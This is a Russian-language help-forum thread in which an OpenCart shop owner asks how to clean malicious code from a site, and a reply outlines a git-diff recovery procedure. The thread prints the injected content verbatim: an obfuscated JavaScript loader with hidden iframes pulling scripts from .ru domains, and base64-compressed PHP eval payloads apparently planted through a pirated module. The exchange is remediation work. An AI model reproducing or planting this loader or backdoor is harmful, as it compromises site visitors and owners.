Обнаружена запись в БД MySQL в Интернет-магазине OpenCart, которая выводит баннер с рекламой на странице продукта:
ncnjm3le.ru
http://3oaq3lgf23.ru:443
http://25haich4342.ru:443
http://gyh1lh20owj.ru:443
Как правильно очистить таблицу БД?
обнаружен скрытый код в поле DESCRIPTION (описании товара):
ASUS<script>window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "comp1.i-studio.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();</script><iframe id="a1996667054" src="https://ncnjm3le.ru/f2.html?a=24108" style="display: none;"></iframe><iframe id="a754394637" src="https://3oaq3lgf23.ru/u.html?a=24108" style="display: none;"></iframe>.</p>
<script></script><script></script><script></script><script></script><script></script><script></script><script></script><script></script>
<script></script>
в phpMyAdmin Очистил поле description во всех товарах Проверил заново все таблицы на наличие скрытых ссылок, но исходящие соединения по прежнему есть:***
# Result Protocol Host URL Body Caching Content-Type Process Comments Custom
834 502 HTTP Tunnel to ncnjm3le.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220
835 502 HTTP Tunnel to 3oaq3lgf23.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220
836 502 HTTP Tunnel to ncnjm3le.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220
837 502 HTTP Tunnel to 3oaq3lgf23.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220
838 502 HTTP Tunnel to ncnjm3le.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220
839 502 HTTP Tunnel to ncnjm3le.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220
840 502 HTTP Tunnel to 3oaq3lgf23.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220
841 502 HTTP Tunnel to 3oaq3lgf23.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220
842 200 HTTP Tunnel to yastatic.net:443 0 chrome:1220
843 200 HTTP Tunnel to 25haich4342.ru:443 0 chrome:1220
844 200 HTTP Tunnel to 25haich4342.ru:443 0 chrome:1220
845 200 HTTP Tunnel to gyh1lh20owj.ru:443 0 chrome:1220
846 200 HTTP Tunnel to gyh1lh20owj.ru:443 0 chrome:1220
847 502 HTTP 9nktu1yr.ru /stat?a=24108&t=p4&s=1&r=0.38806721723339566 700 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220
848 304 HTTPS yastatic.net /morda-logo/i/bender/logo.png?1&ad_type=test 0 max-age=315360000; Expires: Thu, 31 Dec 2037 23:55:55 GMT chrome:1220
849 200 HTTPS gyh1lh20owj.ru /u.html?a=24108 2 281 max-age=14400; Expires: Sun, 29 May 2016 23:42:18 GMT text/html; charset=utf-8 chrome:1220
850 200 HTTPS 25haich4342.ru /f2.html?a=24108 2 280 max-age=14400; Expires: Sun, 29 May 2016 23:42:27 GMT text/html; charset=utf-8 chrome:1220
Как и где искать?
Скрытый код найден в файле: response.php (/system/library/) строка 67, установлен с batch_editor_v022 (можно скачать оригинал :)
http://ruopencart.com/moduli/opencart/31-batch-editor-paketnoe-redaktirovanie-tovarov-v022.html
virustotal.com обнаружил CPRF84F.Webshell
<-- //
$output_page = eval(gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO')));
eval(gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEadQF9M3Ze2v6AhAbMZUhfoEOHA6vXXyUobeY=')));
eval(gzuncompress(base64_decode('eNqVVNFugjAU/ZU9mKBxIUCpShYe3AMYYrboIjCMMYAzxoBbTKaDrx/3SlnHC1ea3t4Genp6zi09d/76PJ2/rZWtbul8YprMHG2VjT09n+Oi35NeG5Y2MfWRMa5er8+f36ddXxts+so784vEsZQHVflKchgyTRk8di0d6rAYPq8BSsijEOLyksIwW9gUIE3lcpc4lVF4HxRrHahs+MwWkBD5TNodYQFA5nUHpC5azQ8WCiDIAYx2wOaIAiL7cP0jZamhMvnpmrfcPdVKYplASCDk0YW29Uh6xl1zWW3cyoFoHXFLtzZ2YZMEswAsgiWhVyTM26c5Snetci0OIOUn0hlEa9jlThkF/JAgyIpeC1gESYDnMCLf0lP3B4sAUYNlhnQdK4+Dn4wmr9nujXsVSbyXSHRFqzHV4K0g4FKGRYCuYD0wL6vYH5C5QYMfD9HgOOBYSyFCvmQQd1NUkXoTbg0NBnORDwRvj1zxX+aD0ZBUZtOM5q170TGH7fEXxZaFkAS3B1mIkpig8/9QS1TJI6SxiVBc7sK46K/6rzehPA2GmyiDp1++2ouh')));
eval(gzuncompress(base64_decode('eNrNF4tu4kjsV+YidCEqlxcJj/JYdbtpD4lCD+jppLYXBRhKdkMSTSZt2ar/fp4kwCRH21V0Wh3IIbZnbI/tsc0q9hfUDXz0gKkdOg+4WomJJ71U4NWnPfEq+O56nqOYsoqqV87C9WkQrTvopoMGPsUeAhoaT9FfSFNls4NIDPB4qsltWZfbErrEi2+BoquaqrZ0A124BK+CZ6UuN+S22Kks1r3K5XD8+Ww4vRVtra2ZLcOoGw1bvL/lGZrWbppNtaEzhl6/r5Ig9pdVVZLuq1KnhAjjIOJElXWz8ACxYFvt/GYyHF/PbPipJX4po8rMqWrwn+bHhKIlU2tydmmNZrU0QqUsauQtKkJB5cSa3UxGs8nZaHphTWq8WL2ttgytoTeZ2EzkSV1uFYFJfNOaJhfNo7EodcYWd8adZceE88wiHJgav47tNKWCl/60Jp/HU6u2crwIl7K4zVmsMfvyj4K+2eDKGt/MPg6HmX7fC0Fd5UPw9jLtiE+1d51U3vUSCzsrSCUKRF0/Ymj9pJ7FDARjQgKSSBe7yjxYbvtdZU03Xh9q0prScBEsSynmKhPkvcmAi9tgdDG2f5/Nru3z8RerTJLU+bqly/nS8QG+O3z05NLFuro/p/SycCKMRF1VxVOCaUx8lHi+MyfY+dZJuYZqHLh79+WWmKr+9pLX1xKnNXNXolUEOJFlnw2Hf1v2aDwbnINL3VXVjSJMqxX70prdikFMw5hG4r0EPS1DekVe5/WwLSNKvR4SvcBZitILJ/N6PIWNS5ekAqlD0r5JoY/xzM4rhjKQXyCKndf8Dg5Bcgn3NHLZVuc/H+EsGeyLwdACsSvXwyBO9J0N/CY+LGFMM5eZTbPwOKaQbkI7VVrjfQGexYt1gITZGiO2Fgml3HOsBWgFt3yAHzbqJzpfsFpFkN7xKJIFFIcsm/DyFyHLjfSIFrsmjJRg3TnpJ7AKyAY5yWTWuxM+7RKXibgT0AbTdbAERhhEFHAMM9w2xEDYxB51Q4dQhUn4belQ507oo67nzGFWAxqsgQQF2heYxBY0INvTrpJw+13XByUok0TxMxPNTrDbg9zl/lXpI/yMN6GHT9EyePKZZQoC24GT08ZcAeou4IfJekNbumqnLcMSddm70s9k57ZF8Xzjcmbu8UfHixlhuiPAzsQlfSG57JUVxf6ytx96BVYMTxXlIQgePPzVeXSiBXFDKi+CjcJQxQldOVyHnyJMHjHpsYy0YRaDtn8rpr/26OzKEu8h2L8mnSW3ZGL9cWNN2SQ5SEvHygX9DiHOtipkLUioCVkXgrfMoCCE4EI8mSFAfXp6kgukjfP8PfBlErP37Z6Z4DsMTh5v8qQCNt8K0I8IDj1ngXd2CbXUT3trSFxQ/jMIYFcQQ9DL9ON2vl0Wgd1ZFoja7uS1VFWZ1myoR8qNDsWhAKxQwCWKQN/WTrpkxAKxWgmltGpH59ymWXjwzH8P/IfyyL4/KChdW5grj46gBsx0BXhvHDW48Y2NgUltTAOz66v87fl59+F/nu1GfvrUi/B2tuc8XEIxP5W2YOxtJWPvf5jl5pEsN0CRwf/H0Nk/i/zjh9JTfz8bG/ls/Addwu3V')));
-->
Ответ
приблизительный алгоритм излечения:
берешь старый здоровый бэкап сайта от провайдера, берешь текущую версию сайта
скачиваешь старый бэкап в папку, скачиваешь гит.
git init . && git add . && git commit -m "master_clean"
скачиваешь текущую версию кода, укладываешь ее в ту же папку, перезаписывая все измененные файлы.
git checkout -b virus; git add . ; git commit -m "virus-init"
git diff master
находишь подозрительный код (ты его сразу узнаешь), удаляешь его отовсюду.
загружаешь обратно на сервер.
ставишь гит на сервер. комитишь. включаешь логи. меняешь ftp-пароли.
короче, это не совсем просто, но примерно так и работает.
основная проблема будет не в излечении, а в защите от вторжения (если вторглись через уязвимости, а не через твои собственные стыренные пароли от файлзиллы и т.д.), т.е. тебе придется понять, откуда произошел взлом - через какой-нибудь левый плагин или через уязвимость в основном движке сайта и т.д.
В приницпе, плагины ты можешь проверить ручками, если они у тебя есть - поищи google://название плагина+exploit в гугле
у моих знакомых была такая ситуация, к счастью, вторжение было через идиота-админа, поэтому помогла зачистка кода и смена ftp-пароля
базу данных, конечно, тоже надо зачистить ( находишь: "SELECT id FROM someTable WHERE someField like '%